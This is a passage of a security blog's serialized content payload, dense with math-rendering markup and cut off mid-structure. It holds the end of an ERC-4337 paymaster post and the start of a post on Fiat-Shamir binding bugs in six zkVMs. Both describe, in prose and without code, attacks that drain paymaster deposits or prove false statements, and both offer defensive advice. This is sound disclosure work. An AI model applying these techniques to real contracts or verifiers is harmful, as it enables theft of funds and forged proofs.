",{"type":21,"tag":66,"props":108131,"children":108133},{"className":108132},[],[108134],{"type":26,"value":104901},{"type":26,"value":108136}," while maximizing the gas costs they can charge to the paymaster.",{"type":21,"tag":22,"props":108138,"children":108139},{},[108140,108142,108147,108149,108154,108156,108162,108164,108169],{"type":26,"value":108141},"Some paymasters try to protect against this by simulating the ",{"type":21,"tag":66,"props":108143,"children":108145},{"className":108144},[],[108146],{"type":26,"value":102644},{"type":26,"value":108148}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":21,"tag":66,"props":108150,"children":108152},{"className":108151},[],[108153],{"type":26,"value":102644},{"type":26,"value":108155}," is submitted via ",{"type":21,"tag":66,"props":108157,"children":108159},{"className":108158},[],[108160],{"type":26,"value":108161},"handleOps",{"type":26,"value":108163},". This means the ",{"type":21,"tag":66,"props":108165,"children":108167},{"className":108166},[],[108168],{"type":26,"value":104901},{"type":26,"value":108170}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":21,"tag":22,"props":108172,"children":108173},{},[108174],{"type":26,"value":108175},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":21,"tag":22,"props":108177,"children":108178},{},[108179],{"type":26,"value":108180},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":21,"tag":22,"props":108182,"children":108183},{},[108184],{"type":26,"value":108185},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":21,"tag":35820,"props":108187,"children":108188},{"id":29375},[108189],{"type":26,"value":19373},{"type":21,"tag":22,"props":108191,"children":108192},{},[108193],{"type":26,"value":108194},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":21,"tag":841,"props":108196,"children":108197},{},[108198,108203,108208,108213,108218],{"type":21,"tag":845,"props":108199,"children":108200},{},[108201],{"type":26,"value":108202},"Always collect full payment during validation, not after execution",{"type":21,"tag":845,"props":108204,"children":108205},{},[108206],{"type":26,"value":108207},"Be conservative with gas estimations and include safety margins",{"type":21,"tag":845,"props":108209,"children":108210},{},[108211],{"type":26,"value":108212},"Carefully validate all user inputs and token transfers",{"type":21,"tag":845,"props":108214,"children":108215},{},[108216],{"type":26,"value":108217},"Test extensively, including simulation of malicious behavior",{"type":21,"tag":845,"props":108219,"children":108220},{},[108221,108223,108228],{"type":26,"value":108222},"Always review changes in new ",{"type":21,"tag":66,"props":108224,"children":108226},{"className":108225},[],[108227],{"type":26,"value":102725},{"type":26,"value":108229}," versions, as they may impact your paymaster's design and security assumptions",{"type":21,"tag":22,"props":108231,"children":108232},{},[108233,108235,108240,108242,108247,108249,108254],{"type":26,"value":108234},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":21,"tag":66,"props":108236,"children":108238},{"className":108237},[],[108239],{"type":26,"value":102725},{"type":26,"value":108241}," contract's behavior could potentially break existing ",{"type":21,"tag":66,"props":108243,"children":108245},{"className":108244},[],[108246],{"type":26,"value":102797},{"type":26,"value":108248}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":21,"tag":66,"props":108250,"children":108252},{"className":108251},[],[108253],{"type":26,"value":102725},{"type":26,"value":108255}," versions.",{"type":21,"tag":22,"props":108257,"children":108258},{},[108259],{"type":26,"value":108260},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":21,"tag":22,"props":108262,"children":108263},{},[108264],{"type":26,"value":108265},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":21,"tag":3632,"props":108267,"children":108268},{},[108269],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":108271},[108272,108273,108274,108281,108286,108287],{"id":102559,"depth":98,"text":102562},{"id":102575,"depth":98,"text":102578},{"id":102614,"depth":98,"text":102617,"children":108275},[108276,108277,108278,108279,108280],{"id":102637,"depth":151,"text":102644},{"id":102678,"depth":151,"text":102681},{"id":102704,"depth":151,"text":102707},{"id":15141,"depth":151,"text":102725},{"id":102797,"depth":151,"text":102808},{"id":102860,"depth":98,"text":108282,"children":108283},"Understanding the EntryPoint's Flow",[108284,108285],{"id":102916,"depth":151,"text":102919},{"id":103101,"depth":151,"text":103104},{"id":103344,"depth":98,"text":103350},{"id":104944,"depth":98,"text":104950,"children":108288},[108289,108290],{"id":105004,"depth":151,"text":105007},{"id":105064,"depth":151,"text":105067},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":108295,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":108296,"description":108297,"date":108298,"author":108299,"image":108302,"isFeatured":16,"onBlogPage":16,"tags":108304,"body":108306,"_type":3642,"_id":124111,"_source":3644,"_file":124112,"_stem":124113,"_extension":3647},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[108300,108301],"himanshu","valter",{"src":108303,"width":97730,"height":14041},"/posts/zkvms-unfaithful-claims/title.png",[108305],"zkVM",{"type":18,"children":108307,"toc":124075},[108308,108313,108355,108368,108371,108377,108382,108510,108513,108519,108525,108530,108562,108710,108715,108838,108849,108860,108883,108894,108899,108932,108940,108945,108948,108954,108959,108965,108970,108975,108983,109001,109142,109147,109153,109246,109980,110048,110059,110067,110541,110547,110986,111326,111479,111484,112372,112528,112534,112626,112631,113216,113666,113742,113748,113753,113822,113832,113848,113858,113919,114338,114370,114380,114555,114560,114570,115170,115358,115376,115379,115385,115390,115398,115430,115792,115797,115882,115885,115891,115899,115904,115907,115913,115918,115926,115934,115942,115950,115983,115991,115999,116090,116341,116668,116676,116706,116876,117202,117207,117212,117229,117232,117237,117242,117254,117266,117857,117869,117881,117888,117896,117908,117916,117931,117936,118216,118235,118330,118349,118365,118368,118374,118379,118384,118391,118399,118406,118414,118427,118445,118905,119007,119012,119017,119033,119036,119042,119047,119059,119070,119075,119465,119472,119480,119505,119525,119781,119792,119811,120195,120541,120771,120930,121090,121658,121663,121689,121692,121698,121703,121710,121718,121731,121803,121814,121822,121832,121840,121851,122125,122214,122243,122246,122251,122385,122397,122404,122409,122562,122588,122595,122603,122608,122674,122679,123069,123156,123172,123175,123181,123186,123192,123292,123351,123356,123362,123367,123375,123380,123386,123391,123396,123402,123407,123410,123416,123422,123427,123432,123437,123442,123447,123450,123456,123619,123624,123627,123632,123643,123960,123965,123989,123994,124012,124017,124020,124026,124031,124036,124046,124051,124061,124071],{"type":21,"tag":22,"props":108309,"children":108310},{},[108311],{"type":26,"value":108312},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":21,"tag":22,"props":108314,"children":108315},{},[108316,108318,108323,108324,108329,108330,108335,108336,108341,108342,108347,108348,108353],{"type":26,"value":108317},"We found six systems where this faithfulness breaks. Across ",{"type":21,"tag":873,"props":108319,"children":108320},{},[108321],{"type":26,"value":108322},"Jolt",{"type":26,"value":256},{"type":21,"tag":873,"props":108325,"children":108326},{},[108327],{"type":26,"value":108328},"Nexus",{"type":26,"value":256},{"type":21,"tag":873,"props":108331,"children":108332},{},[108333],{"type":26,"value":108334},"Cairo-M",{"type":26,"value":256},{"type":21,"tag":873,"props":108337,"children":108338},{},[108339],{"type":26,"value":108340},"Ceno",{"type":26,"value":256},{"type":21,"tag":873,"props":108343,"children":108344},{},[108345],{"type":26,"value":108346},"Expander",{"type":26,"value":820},{"type":21,"tag":873,"props":108349,"children":108350},{},[108351],{"type":26,"value":108352},"Binius64",{"type":26,"value":108354},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":21,"tag":22,"props":108356,"children":108357},{},[108358,108360,108366],{"type":26,"value":108359},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":21,"tag":335,"props":108361,"children":108363},{"href":108362},"#challenges",[108364],{"type":26,"value":108365},"Challenges",{"type":26,"value":108367}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":21,"tag":19218,"props":108369,"children":108370},{},[],{"type":21,"tag":54,"props":108372,"children":108374},{"id":108373},"jargon-cheat-sheet",[108375],{"type":26,"value":108376},"Jargon Cheat Sheet",{"type":21,"tag":22,"props":108378,"children":108379},{},[108380],{"type":26,"value":108381},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":21,"tag":17108,"props":108383,"children":108384},{},[108385,108395,108405,108415,108425,108435,108445,108455,108465,108475,108485,108495],{"type":21,"tag":845,"props":108386,"children":108387},{},[108388,108393],{"type":21,"tag":873,"props":108389,"children":108390},{},[108391],{"type":26,"value":108392},"Fiat-Shamir",{"type":26,"value":108394},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":21,"tag":845,"props":108396,"children":108397},{},[108398,108403],{"type":21,"tag":873,"props":108399,"children":108400},{},[108401],{"type":26,"value":108402},"Transcript",{"type":26,"value":108404},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":21,"tag":845,"props":108406,"children":108407},{},[108408,108413],{"type":21,"tag":873,"props":108409,"children":108410},{},[108411],{"type":26,"value":108412},"Polynomial Commitment",{"type":26,"value":108414},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":21,"tag":845,"props":108416,"children":108417},{},[108418,108423],{"type":21,"tag":873,"props":108419,"children":108420},{},[108421],{"type":26,"value":108422},"Sumcheck",{"type":26,"value":108424},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":21,"tag":845,"props":108426,"children":108427},{},[108428,108433],{"type":21,"tag":873,"props":108429,"children":108430},{},[108431],{"type":26,"value":108432},"MLE (Multilinear Extension)",{"type":26,"value":108434},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":21,"tag":845,"props":108436,"children":108437},{},[108438,108443],{"type":21,"tag":873,"props":108439,"children":108440},{},[108441],{"type":26,"value":108442},"Lookup / LogUp",{"type":26,"value":108444},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":21,"tag":845,"props":108446,"children":108447},{},[108448,108453],{"type":21,"tag":873,"props":108449,"children":108450},{},[108451],{"type":26,"value":108452},"AIR",{"type":26,"value":108454},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":21,"tag":845,"props":108456,"children":108457},{},[108458,108463],{"type":21,"tag":873,"props":108459,"children":108460},{},[108461],{"type":26,"value":108462},"STARK",{"type":26,"value":108464},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":21,"tag":845,"props":108466,"children":108467},{},[108468,108473],{"type":21,"tag":873,"props":108469,"children":108470},{},[108471],{"type":26,"value":108472},"FRI",{"type":26,"value":108474},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":21,"tag":845,"props":108476,"children":108477},{},[108478,108483],{"type":21,"tag":873,"props":108479,"children":108480},{},[108481],{"type":26,"value":108482},"OODS",{"type":26,"value":108484},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":21,"tag":845,"props":108486,"children":108487},{},[108488,108493],{"type":21,"tag":873,"props":108489,"children":108490},{},[108491],{"type":26,"value":108492},"GKR",{"type":26,"value":108494},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":21,"tag":845,"props":108496,"children":108497},{},[108498,108503,108505],{"type":21,"tag":873,"props":108499,"children":108500},{},[108501],{"type":26,"value":108502},"claimed_sum / opening_claim",{"type":26,"value":108504},": Prover-supplied values that feed into verification equations. ",{"type":21,"tag":873,"props":108506,"children":108507},{},[108508],{"type":26,"value":108509},"These are the usual suspects for binding bugs.",{"type":21,"tag":19218,"props":108511,"children":108512},{},[],{"type":21,"tag":54,"props":108514,"children":108516},{"id":108515},"what-are-we-even-breaking",[108517],{"type":26,"value":108518},"What Are We Even Breaking?",{"type":21,"tag":10022,"props":108520,"children":108522},{"id":108521},"what-is-a-zkvm",[108523],{"type":26,"value":108524},"What is a zkVM?",{"type":21,"tag":22,"props":108526,"children":108527},{},[108528],{"type":26,"value":108529},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":21,"tag":22,"props":108531,"children":108532},{},[108533,108535,108560],{"type":26,"value":108534},"Formally, the verifier is convinced that there exists a valid trace ",{"type":21,"tag":66,"props":108536,"children":108538},{"className":108537},[4748,4749],[108539],{"type":21,"tag":85,"props":108540,"children":108542},{"className":108541},[4754],[108543],{"type":21,"tag":85,"props":108544,"children":108546},{"className":108545,"ariaHidden":4760},[4759],[108547],{"type":21,"tag":85,"props":108548,"children":108550},{"className":108549},[4765],[108551,108555],{"type":21,"tag":85,"props":108552,"children":108554},{"className":108553,"style":22011},[4770],[],{"type":21,"tag":85,"props":108556,"children":108558},{"className":108557,"style":22017},[4776,22016],[108559],{"type":26,"value":308},{"type":26,"value":108561}," such that:",{"type":21,"tag":22,"props":108563,"children":108564},{},[108565],{"type":21,"tag":66,"props":108566,"children":108568},{"className":108567},[4748,4749],[108569],{"type":21,"tag":85,"props":108570,"children":108572},{"className":108571},[4754],[108573],{"type":21,"tag":85,"props":108574,"children":108576},{"className":108575,"ariaHidden":4760},[4759],[108577,108621,108696],{"type":21,"tag":85,"props":108578,"children":108580},{"className":108579},[4765],[108581,108585,108591,108595,108600,108604,108608,108613,108617],{"type":21,"tag":85,"props":108582,"children":108584},{"className":108583,"style":93424},[4770],[],{"type":21,"tag":85,"props":108586,"children":108588},{"className":108587},[4776],[108589],{"type":26,"value":108590},"∃",{"type":21,"tag":85,"props":108592,"children":108594},{"className":108593,"style":4955},[4857],[],{"type":21,"tag":85,"props":108596,"children":108598},{"className":108597,"style":22017},[4776,22016],[108599],{"type":26,"value":308},{"type":21,"tag":85,"props":108601,"children":108603},{"className":108602,"style":4955},[4857],[],{"type":21,"tag":85,"props":108605,"children":108607},{"className":108606,"style":4955},[4857],[],{"type":21,"tag":85,"props":108609,"children":108611},{"className":108610},[4960],[108612],{"type":26,"value":172},{"type":21,"tag":85,"props":108614,"children":108616},{"className":108615,"style":4955},[4857],[],{"type":21,"tag":85,"props":108618,"children":108620},{"className":108619,"style":4955},[4857],[],{"type":21,"tag":85,"props":108622,"children":108624},{"className":108623},[4765],[108625,108629,108640,108645,108650,108655,108659,108664,108669,108673,108678,108683,108687,108692],{"type":21,"tag":85,"props":108626,"children":108628},{"className":108627,"style":4878},[4770],[],{"type":21,"tag":85,"props":108630,"children":108632},{"className":108631},[4776],[108633],{"type":21,"tag":85,"props":108634,"children":108637},{"className":108635},[4776,108636],"mathsf",[108638],{"type":26,"value":108639},"VM",{"type":21,"tag":85,"props":108641,"children":108643},{"className":108642},[22145],[108644],{"type":26,"value":1439},{"type":21,"tag":85,"props":108646,"children":108648},{"className":108647,"style":22017},[4776,22016],[108649],{"type":26,"value":22020},{"type":21,"tag":85,"props":108651,"children":108653},{"className":108652},[4889],[108654],{"type":26,"value":4892},{"type":21,"tag":85,"props":108656,"children":108658},{"className":108657,"style":4896},[4857],[],{"type":21,"tag":85,"props":108660,"children":108662},{"className":108661,"style":95529},[4776,22016],[108663],{"type":26,"value":456},{"type":21,"tag":85,"props":108665,"children":108667},{"className":108666},[4889],[108668],{"type":26,"value":4892},{"type":21,"tag":85,"props":108670,"children":108672},{"className":108671,"style":4896},[4857],[],{"type":21,"tag":85,"props":108674,"children":108676},{"className":108675,"style":22017},[4776,22016],[108677],{"type":26,"value":308},{"type":21,"tag":85,"props":108679,"children":108681},{"className":108680},[22167],[108682],{"type":26,"value":1900},{"type":21,"tag":85,"props":108684,"children":108686},{"className":108685,"style":4955},[4857],[],{"type":21,"tag":85,"props":108688,"children":108690},{"className":108689},[4960],[108691],{"type":26,"value":22762},{"type":21,"tag":85,"props":108693,"children":108695},{"className":108694,"style":4955},[4857],[],{"type":21,"tag":85,"props":108697,"children":108699},{"className":108698},[4765],[108700,108704],{"type":21,"tag":85,"props":108701,"children":108703},{"className":108702,"style":22011},[4770],[],{"type":21,"tag":85,"props":108705,"children":108708},{"className":108706,"style":108707},[4776,22016],"margin-right:0.22222em;",[108709],{"type":26,"value":486},{"type":21,"tag":22,"props":108711,"children":108712},{},[108713],{"type":26,"value":108714},"where:",{"type":21,"tag":17108,"props":108716,"children":108717},{},[108718,108748,108778,108808],{"type":21,"tag":845,"props":108719,"children":108720},{},[108721,108746],{"type":21,"tag":66,"props":108722,"children":108724},{"className":108723},[4748,4749],[108725],{"type":21,"tag":85,"props":108726,"children":108728},{"className":108727},[4754],[108729],{"type":21,"tag":85,"props":108730,"children":108732},{"className":108731,"ariaHidden":4760},[4759],[108733],{"type":21,"tag":85,"props":108734,"children":108736},{"className":108735},[4765],[108737,108741],{"type":21,"tag":85,"props":108738,"children":108740},{"className":108739,"style":22011},[4770],[],{"type":21,"tag":85,"props":108742,"children":108744},{"className":108743,"style":22017},[4776,22016],[108745],{"type":26,"value":22020},{"type":26,"value":108747}," = program/circuit description (public)",{"type":21,"tag":845,"props":108749,"children":108750},{},[108751,108776],{"type":21,"tag":66,"props":108752,"children":108754},{"className":108753},[4748,4749],[108755],{"type":21,"tag":85,"props":108756,"children":108758},{"className":108757},[4754],[108759],{"type":21,"tag":85,"props":108760,"children":108762},{"className":108761,"ariaHidden":4760},[4759],[108763],{"type":21,"tag":85,"props":108764,"children":108766},{"className":108765},[4765],[108767,108771],{"type":21,"tag":85,"props":108768,"children":108770},{"className":108769,"style":22011},[4770],[],{"type":21,"tag":85,"props":108772,"children":108774},{"className":108773,"style":95529},[4776,22016],[108775],{"type":26,"value":456},{"type":26,"value":108777}," = public input",{"type":21,"tag":845,"props":108779,"children":108780},{},[108781,108806],{"type":21,"tag":66,"props":108782,"children":108784},{"className":108783},[4748,4749],[108785],{"type":21,"tag":85,"props":108786,"children":108788},{"className":108787},[4754],[108789],{"type":21,"tag":85,"props":108790,"children":108792},{"className":108791,"ariaHidden":4760},[4759],[108793],{"type":21,"tag":85,"props":108794,"children":108796},{"className":108795},[4765],[108797,108801],{"type":21,"tag":85,"props":108798,"children":108800},{"className":108799,"style":22011},[4770],[],{"type":21,"tag":85,"props":108802,"children":108804},{"className":108803,"style":108707},[4776,22016],[108805],{"type":26,"value":486},{"type":26,"value":108807}," = claimed public output",{"type":21,"tag":845,"props":108809,"children":108810},{},[108811,108836],{"type":21,"tag":66,"props":108812,"children":108814},{"className":108813},[4748,4749],[108815],{"type":21,"tag":85,"props":108816,"children":108818},{"className":108817},[4754],[108819],{"type":21,"tag":85,"props":108820,"children":108822},{"className":108821,"ariaHidden":4760},[4759],[108823],{"type":21,"tag":85,"props":108824,"children":108826},{"className":108825},[4765],[108827,108831],{"type":21,"tag":85,"props":108828,"children":108830},{"className":108829,"style":22011},[4770],[],{"type":21,"tag":85,"props":108832,"children":108834},{"className":108833,"style":22017},[4776,22016],[108835],{"type":26,"value":308},{"type":26,"value":108837}," = private witness/trace (registers, memory history, intermediate values)",{"type":21,"tag":22,"props":108839,"children":108840},{},[108841,108843,108847],{"type":26,"value":108842},"The verifier does ",{"type":21,"tag":873,"props":108844,"children":108845},{},[108846],{"type":26,"value":18913},{"type":26,"value":108848}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":21,"tag":22,"props":108850,"children":108851},{},[108852,108854,108859],{"type":26,"value":108853},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":21,"tag":873,"props":108855,"children":108856},{},[108857],{"type":26,"value":108858},"soundness",{"type":26,"value":172},{"type":21,"tag":17108,"props":108861,"children":108862},{},[108863,108873],{"type":21,"tag":845,"props":108864,"children":108865},{},[108866,108871],{"type":21,"tag":873,"props":108867,"children":108868},{},[108869],{"type":26,"value":108870},"Completeness",{"type":26,"value":108872},": honest execution verifies.",{"type":21,"tag":845,"props":108874,"children":108875},{},[108876,108881],{"type":21,"tag":873,"props":108877,"children":108878},{},[108879],{"type":26,"value":108880},"Soundness",{"type":26,"value":108882},": false execution should not verify.",{"type":21,"tag":22,"props":108884,"children":108885},{},[108886,108888,108892],{"type":26,"value":108887},"We are breaking ",{"type":21,"tag":873,"props":108889,"children":108890},{},[108891],{"type":26,"value":108858},{"type":26,"value":108893}," in all six systems.",{"type":21,"tag":22,"props":108895,"children":108896},{},[108897],{"type":26,"value":108898},"In all six codebases, verification follows this abstract flow:",{"type":21,"tag":841,"props":108900,"children":108901},{},[108902,108907,108912,108917,108922,108927],{"type":21,"tag":845,"props":108903,"children":108904},{},[108905],{"type":26,"value":108906},"Fix public statement data.",{"type":21,"tag":845,"props":108908,"children":108909},{},[108910],{"type":26,"value":108911},"Parse proof payload (commitments, reduction messages, openings).",{"type":21,"tag":845,"props":108913,"children":108914},{},[108915],{"type":26,"value":108916},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":21,"tag":845,"props":108918,"children":108919},{},[108920],{"type":26,"value":108921},"Check constraint equations at sampled points.",{"type":21,"tag":845,"props":108923,"children":108924},{},[108925],{"type":26,"value":108926},"Check PCS/opening consistency.",{"type":21,"tag":845,"props":108928,"children":108929},{},[108930],{"type":26,"value":108931},"Accept only if all checks are jointly consistent.",{"type":21,"tag":22,"props":108933,"children":108934},{},[108935],{"type":21,"tag":4681,"props":108936,"children":108939},{"alt":108937,"src":108938},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":21,"tag":22,"props":108941,"children":108942},{},[108943],{"type":26,"value":108944},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":21,"tag":19218,"props":108946,"children":108947},{},[],{"type":21,"tag":54,"props":108949,"children":108951},{"id":108950},"the-building-blocks",[108952],{"type":26,"value":108953},"The Building Blocks",{"type":21,"tag":22,"props":108955,"children":108956},{},[108957],{"type":26,"value":108958},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":21,"tag":10022,"props":108960,"children":108962},{"id":108961},"the-fiat-shamir-transform",[108963],{"type":26,"value":108964},"The Fiat-Shamir Transform",{"type":21,"tag":22,"props":108966,"children":108967},{},[108968],{"type":26,"value":108969},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":21,"tag":22,"props":108971,"children":108972},{},[108973],{"type":26,"value":108974},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":21,"tag":22,"props":108976,"children":108977},{},[108978],{"type":21,"tag":4681,"props":108979,"children":108982},{"alt":108980,"src":108981},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":21,"tag":22,"props":108984,"children":108985},{},[108986,108988,108992,108994,108999],{"type":26,"value":108987},"The hash (transcript) ",{"type":21,"tag":873,"props":108989,"children":108990},{},[108991],{"type":26,"value":854},{"type":26,"value":108993}," include everything that affects verification ",{"type":21,"tag":873,"props":108995,"children":108996},{},[108997],{"type":26,"value":108998},"BEFORE",{"type":26,"value":109000}," the challenges derived from it are used.",{"type":21,"tag":22,"props":109002,"children":109003},{},[109004,109006,109032,109034,109059,109061,109086,109088,109113,109115,109140],{"type":26,"value":109005},"If some value ",{"type":21,"tag":66,"props":109007,"children":109009},{"className":109008},[4748,4749],[109010],{"type":21,"tag":85,"props":109011,"children":109013},{"className":109012},[4754],[109014],{"type":21,"tag":85,"props":109015,"children":109017},{"className":109016,"ariaHidden":4760},[4759],[109018],{"type":21,"tag":85,"props":109019,"children":109021},{"className":109020},[4765],[109022,109026],{"type":21,"tag":85,"props":109023,"children":109025},{"className":109024,"style":22011},[4770],[],{"type":21,"tag":85,"props":109027,"children":109029},{"className":109028,"style":108707},[4776,22016],[109030],{"type":26,"value":109031},"V",{"type":26,"value":109033}," affects a verification equation, but ",{"type":21,"tag":66,"props":109035,"children":109037},{"className":109036},[4748,4749],[109038],{"type":21,"tag":85,"props":109039,"children":109041},{"className":109040},[4754],[109042],{"type":21,"tag":85,"props":109043,"children":109045},{"className":109044,"ariaHidden":4760},[4759],[109046],{"type":21,"tag":85,"props":109047,"children":109049},{"className":109048},[4765],[109050,109054],{"type":21,"tag":85,"props":109051,"children":109053},{"className":109052,"style":22011},[4770],[],{"type":21,"tag":85,"props":109055,"children":109057},{"className":109056,"style":108707},[4776,22016],[109058],{"type":26,"value":109031},{"type":26,"value":109060}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":21,"tag":66,"props":109062,"children":109064},{"className":109063},[4748,4749],[109065],{"type":21,"tag":85,"props":109066,"children":109068},{"className":109067},[4754],[109069],{"type":21,"tag":85,"props":109070,"children":109072},{"className":109071,"ariaHidden":4760},[4759],[109073],{"type":21,"tag":85,"props":109074,"children":109076},{"className":109075},[4765],[109077,109081],{"type":21,"tag":85,"props":109078,"children":109080},{"className":109079,"style":22011},[4770],[],{"type":21,"tag":85,"props":109082,"children":109084},{"className":109083,"style":108707},[4776,22016],[109085],{"type":26,"value":109031},{"type":26,"value":109087},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":21,"tag":66,"props":109089,"children":109091},{"className":109090},[4748,4749],[109092],{"type":21,"tag":85,"props":109093,"children":109095},{"className":109094},[4754],[109096],{"type":21,"tag":85,"props":109097,"children":109099},{"className":109098,"ariaHidden":4760},[4759],[109100],{"type":21,"tag":85,"props":109101,"children":109103},{"className":109102},[4765],[109104,109108],{"type":21,"tag":85,"props":109105,"children":109107},{"className":109106,"style":22011},[4770],[],{"type":21,"tag":85,"props":109109,"children":109111},{"className":109110,"style":108707},[4776,22016],[109112],{"type":26,"value":109031},{"type":26,"value":109114},", which may allow it to choose ",{"type":21,"tag":66,"props":109116,"children":109118},{"className":109117},[4748,4749],[109119],{"type":21,"tag":85,"props":109120,"children":109122},{"className":109121},[4754],[109123],{"type":21,"tag":85,"props":109124,"children":109126},{"className":109125,"ariaHidden":4760},[4759],[109127],{"type":21,"tag":85,"props":109128,"children":109130},{"className":109129},[4765],[109131,109135],{"type":21,"tag":85,"props":109132,"children":109134},{"className":109133,"style":22011},[4770],[],{"type":21,"tag":85,"props":109136,"children":109138},{"className":109137,"style":108707},[4776,22016],[109139],{"type":26,"value":109031},{"type":26,"value":109141}," exactly so that the verification passes, even though it should not.",{"type":21,"tag":22,"props":109143,"children":109144},{},[109145],{"type":26,"value":109146},"This is the bug class we found in all six systems.",{"type":21,"tag":10022,"props":109148,"children":109150},{"id":109149},"the-sumcheck-protocol",[109151],{"type":26,"value":109152},"The Sumcheck Protocol",{"type":21,"tag":22,"props":109154,"children":109155},{},[109156,109158,109244],{"type":26,"value":109157},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":21,"tag":66,"props":109159,"children":109161},{"className":109160},[4748,4749],[109162],{"type":21,"tag":85,"props":109163,"children":109165},{"className":109164},[4754],[109166],{"type":21,"tag":85,"props":109167,"children":109169},{"className":109168,"ariaHidden":4760},[4759],[109170],{"type":21,"tag":85,"props":109171,"children":109173},{"className":109172},[4765],[109174,109178,109183,109188,109193,109197,109202],{"type":21,"tag":85,"props":109175,"children":109177},{"className":109176,"style":4878},[4770],[],{"type":21,"tag":85,"props":109179,"children":109181},{"className":109180},[22145],[109182],{"type":26,"value":77080},{"type":21,"tag":85,"props":109184,"children":109186},{"className":109185},[4776],[109187],{"type":26,"value":4789},{"type":21,"tag":85,"props":109189,"children":109191},{"className":109190},[4889],[109192],{"type":26,"value":4892},{"type":21,"tag":85,"props":109194,"children":109196},{"className":109195,"style":4896},[4857],[],{"type":21,"tag":85,"props":109198,"children":109200},{"className":109199},[4776],[109201],{"type":26,"value":4779},{"type":21,"tag":85,"props":109203,"children":109205},{"className":109204},[22167],[109206,109211],{"type":21,"tag":85,"props":109207,"children":109209},{"className":109208},[22167],[109210],{"type":26,"value":34587},{"type":21,"tag":85,"props":109212,"children":109214},{"className":109213},[4793],[109215],{"type":21,"tag":85,"props":109216,"children":109218},{"className":109217},[4798],[10